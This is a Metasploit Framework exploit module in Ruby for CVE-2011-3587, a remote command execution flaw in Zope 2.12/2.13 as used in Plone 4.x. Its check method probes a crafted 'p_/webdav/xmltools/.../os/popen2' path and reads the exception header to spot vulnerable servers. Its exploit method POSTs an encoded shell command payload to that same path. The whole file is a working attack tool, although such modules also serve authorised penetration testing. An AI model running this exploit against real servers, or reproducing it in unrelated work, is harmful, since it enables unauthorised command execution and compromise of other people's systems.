##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info={})
		super(update_info(info,
			'Name'           => 'Plone and Zope XMLTools Remote Command Execution',
			'Description'    => %q{
				Unspecified vulnerability in Zope 2.12.x and 2.13.x, as used in Plone 4.0.x
				through 4.0.9, 4.1, and 4.2 through 4.2a2, allows remote attackers to execute
				arbitrary commands via vectors related to the p_ class in OFS/misc_.py and
				the use of Python modules.

			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'Plone Security team',  # Vulnerability discovery
					'Nick Miles',           # Original exploit
					'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit module
				],
			'References'     =>
				[
					['CVE', '2011-3587'],
					['OSVDB', '76105'],
					['EDB', 18262],
					['URL', 'http://plone.org/products/plone/security/advisories/20110928']
				],
			'Privileged'     => false,
			'Payload'        =>
			{
				'Compat'     =>
				{
					'PayloadType'  => 'cmd',
					'RequiredCmd'  => 'generic telnet perl ruby',
				}
			},
			'Platform'       => ['unix', 'linux'],
			'Arch'           => ARCH_CMD,
			'Targets'        => [['Automatic',{}]],
			'DisclosureDate' => 'Oct 04 2011',
			'DefaultTarget'  => 0
		))

		register_options(
			[
				Opt::RPORT(8080),
				OptString.new('URI',[true, "The path to the Plone installation", "/"]),
			],self.class)
		register_autofilter_ports([ 8080 ])
	end

	def check
		uri = datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'

		res = send_request_raw(
			{
				'uri'       => uri
			}, 25)
		if (res.headers['Bobo-Exception-Type'].to_s =~ /zExceptions.BadRequest/)
			return Exploit::CheckCode::Vulnerable
		end
		# patched == zExceptions.NotFound
		return Exploit::CheckCode::Safe
	end

	def exploit
		uri = datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'p_/webdav/xmltools/minidom/xml/sax/saxutils/os/popen2'

		send_request_cgi(
			{
				'method'    => 'POST',
				'uri'       => uri,
				'vars_post' =>
					{
						'cmd' => payload.encoded,
					}
			}, 0.5) # short timeout, we don't care about the response
	end
end